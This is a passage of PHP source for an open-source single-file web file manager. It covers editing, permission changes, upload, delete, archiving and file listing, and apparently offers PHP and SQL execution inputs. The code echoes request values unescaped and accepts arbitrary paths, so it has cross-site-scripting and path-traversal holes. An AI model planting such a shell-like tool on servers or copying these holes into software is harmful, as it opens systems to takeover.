    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0'
cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' -
'.__('Edit').' -
'.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a
href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post"
action="<?=$editlink?>">
            <textarea name="newcontent"
id="newcontent" cols="45" rows="15"
style="width:99%"
spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save"
value="<?=__('Submit')?>">
            <input type="submit" name="cancel"
value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'],
fm_convert_rights($_REQUEST['rights_val']),
@$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'],
true);
    $link = $url_inc . '&rights=' .
$_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a
href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post"
action="<?=$link?>">
           <?=__('Rights').' -
'.$_REQUEST['rights']?> <input type="text"
name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox"
name="recursively" value="1">
<?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save"
value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif
(!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.')
{
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path .
$_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' .
$_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a
href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post"
action="<?=$link?>">
            <?=__('Rename')?>: <input
type="text" name="newname"
value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save"
value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
   
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file']))
{
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] =
str_replace('%', '',
$_FILES['upload']['name']);
           
if(!move_uploaded_file($_FILES['upload']['tmp_name'],
$path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').':
'.$_FILES['upload']['name'];
			}
        }
    }
elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.')
{
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').'
'.$_REQUEST['delete'];
		}
	}
elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory']))
{
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').'
'.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'],
$_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').'
('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a
href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'"
title="' . __('Edit') .
'">'.basename($filename).'</a>&nbsp;
&nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	}
elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file']))
{
        if(!$fp=@fopen($path .
$_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').'
'.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
		.'&nbsp;<a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'. $destination.'" >'.__('Delete') .
'</a>';
		else $msg .= __('Error occurred').': '.__('no
files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
			.'&nbsp;<a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no
files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file =
str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').'
"'.__('Decompress').' '.$source.'"
'.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
			.'&nbsp;<a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no
files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File
manager')?><?=(!empty($path)?' -
'.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2"
class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post"
action="<?=$url_inc?>">
				<input type="hidden" name="path"
value="<?=$path?>" />
				<input type="text" name="dirname"
size="15">
				<input type="submit" name="mkdir"
value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post"
action="<?=$url_inc?>">
				<input type="hidden" name="path"    
value="<?=$path?>" />
				<input type="text"   name="filename"
size="15">
				<input type="submit" name="mkfile"  
value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post"
action="<?=$url_inc?>"
style="display:inline">
				<input type="hidden" name="path"
value="<?=$path?>" />
				<input type="text"
placeholder="<?=__('Recursive search')?>"
name="search_recursive"
value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>"
size="15">
				<input type="text" name="mask"
placeholder="<?=__('Mask')?>"
value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>"
size="5">
				<input type="submit" name="search"
value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post"
action="<?=$url_inc?>"
enctype="multipart/form-data">
			<input type="hidden" name="path"
value="<?=$path?>" />
			<input type="file" name="upload"
id="upload_hidden" style="position: absolute; display:
block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;"
onchange="document.getElementById('upload_visible').value =
this.value;" />
			<input type="text" readonly="1"
id="upload_visible" placeholder="<?=__('Select the
file')?>" style="cursor: pointer;"
onclick="document.getElementById('upload_hidden').click();"
/>
			<input type="submit" name="test"
value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action=""
method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden"
value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit"
value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0'
cellspacing='1' cellpadding='1' id="fm_table"
width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap">
<?=__('Filename')?> </th>
    <th style="white-space:nowrap">
<?=__('Size')?> </th>
    <th style="white-space:nowrap">
<?=__('Date')?> </th>
    <th style="white-space:nowrap">
<?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap">
<?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if
(!empty($fm_config['show_dir_size'])&&!fm_root($file))
$filedata[7] = fm_dir_size($filename);
        $link = '<a
href="'.$url_inc.'&path='.$path.$file.'"
title="'.__('Show').'
'.$file.'"><span
class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span>
'.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' :
fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').'
'. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' :
fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').'
'.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert =
'onClick="if(confirm(\'' . __('Are you sure you
want to delete this directory (recursively)?').'\n /'.
$file. '\')) document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path  .
'\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto =
screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\'
+ lefto +
\',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return
false;"
href="'.fm_img_link($filename).'"><span
class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span>
'.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' .
$file . '&path=' . $path. '" title="' .
__('Edit') . '"><span
class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span>
'.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink = 
fm_link('download',$filename,__('Download'),__('Download').'
'. $file);
		$arlink =
in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' :
fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').'
'. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path  .
'\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a
href="#" title="' . __('Delete') . '
'. $file . '" ' . $alert . '>' .
__('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a
href="' . $url_inc . '&rename=' . $file .
'&path=' . $path . '" title="' .
__('Rename') .' '. $file . '">' .
__('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ?
'' : '<a href="' . $url_inc .
'&rights=' . $file . '&path=' . $path .
'" title="' . __('Rights') .' '.
$file . '">' . @fm_rights_string($filename) .
'</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d
H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a
href="https://github.com/Den1xxx/Filemanager">Github</a>
 | <a
href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP
'.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' |
'.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' |
'.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a
href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a
href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo
' | <a href="javascript: void(0)" onclick="var obj =
new table2Excel();
obj.CreateExcelSheet(\'fm_table\',\'export\');"
title="'.__('Download').'
xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a
href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href',
'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),
c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2
- 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 :
0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1
<= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e +=
c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0,
b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b
&& (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if
gte mso
9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta
http-equiv="content-type" content="text/plain;
charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span>
/g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {//
If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) &&
is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return
$this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name,
$this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').'
'.$this->archive_name.__(' to
').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp',
'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp
'.__('is not readable');
					rename($this->archive_name.'.tmp',
$this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp',
$this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to
').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName,
-3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName,
'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not
readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.':
<br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is
incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is
incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').':
'.__('Directory ').$filename.__('is not
readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/'
&& substr($path, 0, 3) != '../' && !strpos($path,
':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long
header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0,
strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/')
$header['filename'] = $path.$header['filename'];
				else $header['filename'] =
$path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) &&
($header['typeflag'] == '')){
					$this->errors[] =__('File
').$header['filename'].__(' already
exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) &&
($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'.
'.__('File ').$header['filename'].__('
already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'.
'.__('File ').$header['filename'].__('
already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] ==
'5' ? $header['filename'] :
dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').'
'.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').'
'.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'],
'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').'
'.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) !=
$header['size']) {
					$this->errors[] = __('Size of file').'
'.$header['filename'].' '.__('is
incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) ==
$header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/')
&& ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and
(!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').'
'.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').':
'.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i,
1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i,
1));

		$unpack_data =
unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',
$binaryData);

		$header['checksum'] =
OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0))
	return true;
			$this->errors[] = __('Error checksum for file
').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag'])
== '5')	$header['size'] = 0;
		$header['filename'] =
trim($unpack_data['filename']);
		$header['mode'] =
OctDec(trim($unpack_data['mode']));
		$header['user_id'] =
OctDec(trim($unpack_data['user_id']));
		$header['group_id'] =
OctDec(trim($unpack_data['group_id']));
		$header['size'] =
OctDec(trim($unpack_data['size']));
		$header['time'] =
OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0,
sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '',
'', '', '', '', '',
'', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' '
(space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) !=
''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ',
DecOct(fileperms($filename))), sprintf('%6s ',
DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])),
$size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '',
'', '', '', '', '',
'', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i,
1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum +=
ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
